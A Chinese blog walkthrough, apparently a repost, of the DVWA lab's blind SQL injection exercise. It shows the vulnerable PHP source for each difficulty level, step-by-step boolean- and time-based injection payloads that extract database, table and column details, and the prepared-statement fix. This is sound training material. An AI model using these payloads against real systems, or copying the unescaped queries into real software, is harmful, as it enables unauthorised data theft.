2019-3-7 dvwa学习(8)--SQL Injection(blind) SQL盲注--基于布尔和基于时间

什么是SQL盲注

SQL盲注也是sql注入攻击,但是攻击者在注入的页面上看不到注入代码(sql)的实际执行结果。具有漏洞的页面不会显示数据,但是会根据注入恶意代码(逻辑条件)的执行结果显示不同的页面。

这种类型的攻击通常被认为是时间密集型( time-intensive )或者说基于时间的。因为攻击者是依靠向数据库询问一系列正确或错误的问题来窃取数据,所以攻击可能会包含很多不成功的请求,需要不断调整注入的判断条件中的数值以逼近真实。

SQL盲注-测试流程

1.判断是否存在注入,注入是字符型还是数字型
2.猜当前数据库名称
3.猜数据库中的表名
4.猜表中的字段名
5.获取表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…

low
看源码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

说明如下:

  • 对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞。应该是字符型的。
  • 查询结果只有 “User ID exists in the database.” 和 “User ID is MISSING from the database.” 。这个只是是为了演示用,反馈注入的执行结果。

根据注入流程来获取信息了
1.判断是否存在注入,注入是字符型还是数字型

参照sql字符型注入的方法尝试注入

1' or '1'='1

结果应该成功
在这里插入图片描述
2.猜解当前数据库名称
2-1.猜数据库名称长度

1' and length(database())=1 #  missing
1' and length(database())=2 #  missing
1' and length(database())=3 #  missing
1' and length(database())=4 #  exists

2-2.猜名称中的字符
利用2分法,ASCII码0~127

1’ and ascii(substr(database(),1,1))>64 # exists,第一个字符大于64(@符号)
1’ and ascii(substr(database(),1,1))>97 # exists,第一个字符大于97(a)
1' and ascii(substr(database(),1,1))>112# missing
1' and ascii(substr(database(),1,1))<105 # exists
1' and ascii(substr(database(),1,1))<101 # exists
查到这里已经知道数据库名称的第一个字符在97和101之间了
1' and ascii(substr(database(),1,1))<100 # missing
查到了,第一个字符就是100(字母d)

然后再依次查第2个到第4个字符,结果就是dvwa

3.猜数据库中的表名
3-1.猜表的数量

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # missing
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=2 # exsts

结果数量就是2个

3-2.猜第1个表名长度
参照猜数据库名称的方法

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>64 # exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>112 # missing
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<105 # exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100 # missing
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104 # missing
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # exists 字母g

按照以上步骤,获得第1个表名guestbook
同理也可以获得第2个表名为users

4.猜表中的字段名
4-1.猜表的字段数量
以users表为例

1' and (select count(column_name) from information_schema.columns where table_name='users')=1 # missing
1' and (select count(column_name) from information_schema.columns where table_name='users')=2 # missing
...
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # exists

结果有8个字段

4-2.猜字段名称长度

1' and length(substr((select column_name from information_schema.columns where table_name=’users‘ limit 0,1),1))=1 # missing
...
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 # exists

结果字段名称长度为7
下面的步骤就省略了。

以上这些是都是通过服务器对不同的请求返回不同的页面结果来获得我们需要的信息,被称为基于布尔的盲注

我们还可以通过基于时间的盲注来获得信息。这种方式是通过观察sleep()函数是否执行来判断。若执行sleep延迟,则表示当前设置的判断条件为真。
1.判断字符型还是数值型

1' and sleep(5) # 有延时,表示是字符型
1 and sleep(5) # 没有延时,表示是数值型

2.猜解当前数据库名称
2-1.猜数据库名称长度

1' and if(length(database())=1,sleep(5),1) #  没有延时
1' and if(length(database())=2,sleep(5),1) #  没有延时
1' and if(length(database())=3,sleep(5),1) #  没有延时
1' and if(length(database())=4,sleep(5),1) #  有延时,结果长度就是4

以下同理省略。

Medium
查看源码

 <?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

说明如下:

  • 类似sql注入的medium级别,前端页面设置了下拉选择表单,控制用户的输入。需要用Burp拦截修改参数。
  • 增加了mysqli_real_escape_string函数,转义id参数内的特殊字符

修改参数如下,基本和sql注入是一样的
1.基于布尔,修改id参数

参数id改为1 and length(database())=4 # exists,数据库名的长度为4
参数id改为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # exists,当前数据库中的第1个表名长度为9
参数id改为1 and (select count(column_name) from information_schema.columns where table_name= 0x7573657273)=8 #  exists,uers有8个字段。注:0x7573657273为users的16进制,在sql注入medium中解释过

2.基于时间,修改id参数

参数id改为1 and if(length(database())=4,sleep(5),1) # exists,数据库名的长度为4
参数id改为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # exists,当前数据库中的第1个表名长度为9
参数id改为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #  exists,uers有8个字段。注:0x7573657273为users的16进制,在sql注入medium中解释过

high
查看源码

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

说明如下:

  • 类似sql注入的high级别。安全性甚至都不如medium级别,并没有用mysqli_real_escape_string转义特殊字符。只是用“LIMIT 1”来限制数据显示条数,显然是可以被注入的"#"来屏蔽的。
  • 这里有一点不同的地方,就是加入了sleep函数,用于干扰基于时间注入。

所以只能采用基于布尔的注入。方法参照medium。

impossible
查看源码

 <?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

类似sql注入的impossible级别。增加了Check Anti-CSRF token和sql预编译语句。

猜你喜欢

转载自blog.csdn.net/weixin_42555985/article/details/88310799